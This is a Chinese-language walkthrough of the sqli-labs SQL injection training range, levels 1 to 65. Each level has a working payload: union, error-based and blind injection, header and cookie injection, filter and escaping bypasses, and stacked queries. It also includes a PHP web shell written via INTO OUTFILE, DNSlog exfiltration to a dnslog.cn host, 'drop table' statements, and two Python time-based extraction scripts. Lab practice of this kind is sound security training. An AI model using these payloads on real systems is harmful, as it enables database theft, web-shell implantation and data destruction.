目录
Page-1(Basic Challenges)less1-20
1,基于单引号的字符型注入
2,数值型注入
3,基于')的字符型注入
4,基于")字符型注入
5,基于'字符型的错误回显注入
6,基于"字符型的错误回显注入
7,SQL注入写文件
8,基于'的盲注(利用dnslog回显)
9,基于'的时间盲注
10,基于"的时间盲注
11,基于'的POST型注入
12,基于")的POST型注入
13,基于')的错误回显注入
14,基于"的错误回显注入
15,基于'的POST型盲注(可利用dnslog回显)
16,基于")的POST型盲注
17,基于'的密码报错注入
18,基于'的user-agrnt注入
19,基于'的Referer注入
20,基于'的Cookie注入
Page-2(Advanced Injections)less21-37
21,基于')的cookie注入
22,基于"的cookie注入
23,过滤(--,#)的'注入
24,二次注入
25,基于'的过滤(or,and)的注入
25a,过滤(or,and)的注入
26,基于'的过滤(or,and,空格)的注入
26a,基于')的过滤(or,and,空格)的盲注
27,基于'的过滤(--,#,空格,union,select)的注入
27a,基于"的过滤(--,#,空格,union,select)的注入
28,基于')的过滤(--,#,空格,union,select)的注入
28a,基于')的过滤(union select)的注入
29,基于'的注入
29,login.php。参数污染
30,基于"的注入
30,login.php。参数污染
31,基于")的注入
31,login.php。参数污染
32,宽字节注入
33,宽字节注入
34,POST型宽字节注入
35,数值型不需要考虑'转义情况
36,GET绕过mysql_real_escape_string
37,POST绕过mysql_real_escape_string
Page-3(Stacked?Injections)less38-53
38,基于'的堆叠注入
39,基于数值型的堆叠注入
40,基于')的堆叠注入
41,基于数值型的堆叠注入
42,基于'堆叠注入,密码参数
43,基于')堆叠注入,密码参数
44,基于'堆叠注入,密码参数
45,基于')堆叠注入,密码参数
46,基于数值型的order by 报错注入
47,基于'的order by 报错注入
48,基于数值型的order by 盲注
49,基于'的order by 盲注
50,基于数值型的order by堆叠注入
51,基于'的order by堆叠注入
52,基于数值型的order by堆叠注入
53,基于'的order by堆叠注入
Page-4(Challenges)less54-75
54,拿到数据库中的key(10次查询机会)
55,同54闭合方式由'换成)
56,同54闭合方式由'换成')
57,同54闭合方式由'换成"
58,报错注入(5次查询机会)
59,同58,ID为数值型不需要闭合
60,同58闭合方式由'换成")
61,同58闭合方式由'换成'))
62,盲注(130次请求限制)
63,同62闭合方式由')换成'
64,同62闭合方式由')换成))
65,同62闭合方式由')换成")
Page-1(Basic Challenges)less1-20
1,基于单引号的字符型注入
id=-1' union select 1,2,3; --+
2,数值型注入
id=-1 union select 1,2,3; --+
3,基于')的字符型注入
id=-1')union select 1,2,3 ; --+
4,基于")字符型注入
id=-1") union select 1,2,3 --+
5,基于'字符型的错误回显注入
id=' union select 1,extractvalue(1,concat(0x7e,'payload')),3 --+
6,基于"字符型的错误回显注入
id=" union select 1,extractvalue(1,concat(0x7e,'payload')),3 --+
7,SQL注入写文件
id=1')) union select 1,2,'<?php @eval($_POST[ma]); ?>' into outfile"" --+
8,基于'的盲注(利用dnslog回显)
id=1' and load_file(concat("\\\\",(database()),".f8lzlp.dnslog.cn\\1.txt")) --+
9,基于'的时间盲注
获取数据库名字:
#coding:utf-8
import requests
import time
ip_port="192.168.2.9:80"
session=requests.session()
#获取数据库名长度
def get_length_of_database():
i=1
while True:
url="http://%s/sqli-labs/Less-8/?id=1' and length(database())=%d and sleep(2) --+"%(ip_port,i)
startTime=time.time()
rsq=session.get(url)
endTime=time.time()
ga=endTime-startTime
if ga>2:
return i
i=i+1
#获取数据库名字
def get_name_of_database():
length_of_database=get_length_of_database()
name_of_database=""
for j in range(1,length_of_database):
for k in range(33,127):
url="http://%s/sqli-labs/Less-8/?id=1' and ascii(substr(database(),%d,1))=%d and sleep(2) -- &action=search"%(ip_port,j,k)
startTime=time.time()
rsq=session.get(url)
endTime=time.time()
ga=endTime-startTime
if ga>2:
name_of_database+=chr(k)
break
return name_of_database
if __name__=='__main__':
print(get_name_of_database())
10,基于"的时间盲注
11,基于'的POST型注入
1' union select 1,extractvalue(1,concat(0x7e,'payload')),3 #
12,基于")的POST型注入
1") union select 1,extractvalue(1,concat(0x7e,'payload')),3 #
13,基于')的错误回显注入
1') union select 1,extractvalue(1,concat(0x7e,'payload')),3 #
14,基于"的错误回显注入
1" union select 1,extractvalue(1,concat(0x7e,'payload')),3 #
15,基于'的POST型盲注(可利用dnslog回显)
1' and load_file(concat("\\\\",(database()),".qyfyji.dnslog.cn\\1.txt")) #
16,基于")的POST型盲注
admin") and length(database())=8 and sleep(10) #
17,基于'的密码报错注入
1' and extractvalue(1,concat(0x7e,database())) #
18,基于'的user-agrnt注入
User-Agent: ',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
19,基于'的Referer注入
?',1,updatexml(1,concat(0x7e, user(),0x7e),1))#
20,基于'的Cookie注入
Cookie: uname=1'and extractvalue(1,concat(0x7e,user())) #
Page-2(Advanced Injections)less21-37
21,基于')的cookie注入
Cookie: uname=') union select 1,user(),3 #? ? ? ? (需要对值进行base64编码)
22,基于"的cookie注入
Cookie: uname=" union select 1,2,3 #? ? ? ? ?(需要对值进行base64编码)
23,过滤(--,#)的'注入
id=-1' union select 1,2,3 and '1'='1
24,二次注入
创建用户admin' #? ? ? ? 重置密码会修改admin用户密码。
25,基于'的过滤(or,and)的注入
id=-1' union select 1,2,3 --+
25a,过滤(or,and)的注入
id=-1 union select 1,2,3
26,基于'的过滤(or,and,空格)的注入
id=-1'anandd(extractvalue(1,concat(0x7e,user())))anandd'1'='1
26a,基于')的过滤(or,and,空格)的盲注
27,基于'的过滤(--,#,空格,union,select)的注入
id=1'and(updatexml(1,concat(0x7e,user()),1))and'1'='1
27a,基于"的过滤(--,#,空格,union,select)的注入
id=1"and(updatexml(1,concat(0x7e,user()),1))and"1"="1
28,基于')的过滤(--,#,空格,union,select)的注入
id=a')
union
all
select
1,2,('3
(换行符替换空格)
进行url编码
id=a')%0aunion%0aall%0aselect%0a1%2c2%2c('3
28a,基于')的过滤(union select)的注入
id=-1') union all select 1,2,('3
29,基于'的注入
id=-1' union select 1,2,'3
29,login.php。参数污染
id=1&id=-2'union select 1,2,'3
30,基于"的注入
id=-1" union select 1,2,"3
30,login.php。参数污染
id=1&id=-2" union select 1,2,"3
31,基于")的注入
id=1") union select 1,2,("3
31,login.php。参数污染
id=1&id=-2") union select 1,2,("3
32,宽字节注入
id=-1%df' union select 1,2,3 --+
33,宽字节注入
id=-1%df' union select 1,2,3 --+
34,POST型宽字节注入
uname=admin%df' union select 1,2 -- -&passwd=admin&submit=Submit
35,数值型不需要考虑'转义情况
id=-1 union select 1,2,3 --+
36,GET绕过mysql_real_escape_string
id=-1%df' union select 1,2,3 --+
37,POST绕过mysql_real_escape_string
uname=admin%df%27 union select 1,2
Page-3(Stacked?Injections)less38-53
38,基于'的堆叠注入
id=1';create database ma123 default charset utf8; --+
39,基于数值型的堆叠注入
id=1;create database less39 default charset utf8; --+
40,基于')的堆叠注入
id=1');create database less40 default charset utf8 --+
41,基于数值型的堆叠注入
id=1;create database less41 default charset utf8 --+
42,基于'堆叠注入,密码参数
a';drop table less42;#
43,基于')堆叠注入,密码参数
q');create database less43 default charset utf8; --+
44,基于'堆叠注入,密码参数
as';create database less44 default charset utf8; --+
45,基于')堆叠注入,密码参数
aa');create database less45 default charset utf8;--+
46,基于数值型的order by 报错注入
sort=1 and extractvalue(1,concat(0x7e,user())) --+
47,基于'的order by 报错注入
sort=1' and extractvalue(1,concat(0x7e,user())) --+
48,基于数值型的order by 盲注
sort=1 and length(database())=8 and sleep(3) --+
49,基于'的order by 盲注
sort=1' and length(database())=8 and sleep(3) --+
50,基于数值型的order by堆叠注入
sort=1;create database less50 default charset utf8; --+
51,基于'的order by堆叠注入
sort=1';create database less51 default charset utf8; --+
52,基于数值型的order by堆叠注入
sort=1;create database less52 default charset utf8; --+
53,基于'的order by堆叠注入
sort=1';create database less53 default charset utf8; --+
Page-4(Challenges)less54-75
54,拿到数据库中的key(10次查询机会)
爆表名
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() ;--+
爆列名
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='37k2u0fbsh' ;--+
爆数据
id=-1' union select 1,2,secret_BXYU from 37k2u0fbsh ;--+
输入key。
55,同54闭合方式由'换成)
56,同54闭合方式由'换成')
57,同54闭合方式由'换成"
58,报错注入(5次查询机会)
爆表名
id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆列名
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='769b0z0f8f'))) --+
爆数据
id=1' and extractvalue(1,concat(0x7e,(select secret_OY8Y from 769b0z0f8f))) --+
输入key。
59,同58,ID为数值型不需要闭合
60,同58闭合方式由'换成")
61,同58闭合方式由'换成'))
62,盲注(130次请求限制)
# coding:utf-8
# 基于字符串比特位匹配的盲注脚本
import time
import requests
import re
import os
sql_fp = "1')%260%7c"
# 由于服务器响应慢,正常返回为2s多,sleep(0.1)延时1s
sql_cmd = sql_fp + "(select case bin(ascii(substr(@0_name, @1, 1))>>@2) %26 (POW(2,0)%2BPOW(2,1)%2BPOW(2,2))" \
"when 0 then 1 " \
"when 1 then 2 " \
"when 2 then 3 " \
"when 3 then 4 " \
"when 4 then 5 " \
"when 5 then 6 " \
"when 6 then 7 " \
"when 7 then 8 else 9 end " \
"%7c (if((bin(ascii(substr(@0_name, @1, 1))>>@3) %26 POW(2,0)) = 1,sleep(1),1) %26 0)" \
"from information_schema.@0s where table_schema=database() @4 ) --+"
sql_search = sql_fp + "(select case bin(ascii(substr(@0, @1, 1))>>@2) %26 (POW(2,0)%2BPOW(2,1)%2BPOW(2,2))" \
"when 0 then 1 " \
"when 1 then 2 " \
"when 2 then 3 " \
"when 3 then 4 " \
"when 4 then 5 " \
"when 5 then 6 " \
"when 6 then 7 " \
"when 7 then 8 else 9 end " \
"%7c (if((bin(ascii(substr(@0, @1, 1))>>@3) %26 POW(2,0)) = 1,sleep(1),1) %26 0)" \
"from @4 ) --+"
url = 'http://192.168.2.9/sqli-labs/less-62/?id='
state_list = []
rp = 'Your\s*Login\s*name\s*:\s*(.*?)<br>'
rc = 1
def main():
if os.path.exists('./bsl.txt'):
print('文件存在')
with open('./bsl.txt', 'r') as f:
res = f.read().split('\n')
for i in res:
if i != '':
state_list.append(i)
else:
print('文件不存在')
# 0.爆破状态表
print('收集状态表')
state_list.append('0')
for i in range(1, pow(2, 3)+2):
u = url + str(i)
respond = requests.get(u)
state_list.append(re.findall(rp, respond.text)[0])
print('.', end='')
with open('./bsl.txt', 'w') as f:
f.write('\n'.join(state_list))
print('写入完成')
print('爆破状态表:')
print(state_list)
# @ 表名
table_name_list = []
if input('是否指定表名? y/n:') != 'y':
print('[~]进行表名判断')
for i in range(1, 11):
c = 0
# 1.判断 字符的第0,1,2,6位
# 010 大写字母; 011 小写字母; 001 数字
state = req('table', i, 0, 6)
c = c | state[0] | state[1] << 6
# print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
# 2.判断 字符的第3,4,5,7位
state = req('table', i, 3, 7)
c = c | state[0] << 3 | state[1] << 7
# print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
table_name_list.append((chr(c)))
table_name = ''.join(table_name_list)
print('爆破表名为: [ {} ]'.format(table_name))
else:
table_name = input('输入表名:').strip()
# @字段名
column_name_list = []
offset = 7
if input('是否指定字段名? y/n:') != 'y':
print('[~]进行第三个字段名名判断,从第7个字符,判断4个字符出来')
for i in range(1, 5):
c = 0
# 1.判断 字符的第0,1,2,6位
# 010 大写字母; 011 小写字母; 001 数字
state = req('column', i+offset, 0, 6, table_name=table_name)
c = c | state[0] | state[1] << 6
# print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
# 2.判断 字符的第3,4,5,7位
state = req('column', i+offset, 3, 7, table_name=table_name)
c = c | state[0] << 3 | state[1] << 7
# print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
column_name_list.append((chr(c)))
column_name = 'secret_' + ''.join(column_name_list)
print('爆破的字段名为:[ {} ]'.format(column_name))
else:
column_name = input('输入字段名:').strip()
# 9u8573nri2
# secret_WJWE
# @字段内容
value_list = []
print('[~]字段值进行枚举中....')
for i in range(1, 25):
c = 0
# 1.判断 字符的第0,1,2,6位
# 010 大写字母; 011 小写字母; 001 数字
state = search(column_name, table_name, i, 0, 6)
c = c | state[0] | state[1] << 6
# print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
# 2.判断 字符的第3,4,5,7位
state = search(column_name, table_name, i, 3, 7)
c = c | state[0] << 3 | state[1] << 7
# print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1]))
print('第{:d}个字符为:[ {} ]'.format(i, chr(c)))
value_list.append((chr(c)))
value = ''.join(value_list)
print('爆破表名为: [ {} ]'.format(table_name))
print('爆破的字段名为:[ {} ]'.format(column_name))
print('[!]{}的值为:[ {} ]'.format(column_name, value))
def req(type, i, co, ci, **kwargs):
global rc
rl = []
t = sql_cmd
if type == 'column':
ep = "and table_name = '{}' limit 2,1".format(kwargs['table_name'])
else:
ep = ''
sql = t.replace('@0', type).replace('@1', str(i)).replace('@2', str(co)).replace('@3', str(ci)).replace('@4', ep)
u = url + sql
print('[!]第{:d}次请求......'.format(rc))
rc = rc + 1
time_start = time.time()
respond = requests.get(u)
print(u)
time_end = time.time()
timeReal = time_end - time_start
# print(respond.text)
rl.append(getIndex(state_list, re.findall(rp, respond.text)[0]) - 1)
# print(timeReal)
if timeReal > 4:
rl.append(1)
else:
rl.append(0)
return rl
def search(cn, tn, i, co, ci):
global rc
rl = []
t = sql_search
sql = t.replace('@0', cn).replace('@4', tn).replace('@1', str(i)).replace('@2', str(co)).replace('@3', str(ci))
u = url + sql
print('[!]第{:d}次请求......'.format(rc))
rc = rc + 1
time_start = time.time()
respond = requests.get(u)
time_end = time.time()
timeReal = time_end - time_start
# print(respond.text)
rl.append(getIndex(state_list, re.findall(rp, respond.text)[0]) - 1)
# print(timeReal)
if timeReal > 4:
rl.append(1)
else:
rl.append(0)
return rl
def getIndex(bl, value):
for i, e in enumerate(bl):
if e == value:
return i
return -1
if __name__ == '__main__':
main()
参考:[靶场] SQLi-Labs Less62-Less69_3hex的博客-CSDN博客
63,同62闭合方式由')换成'
64,同62闭合方式由')换成))
65,同62闭合方式由')换成")
|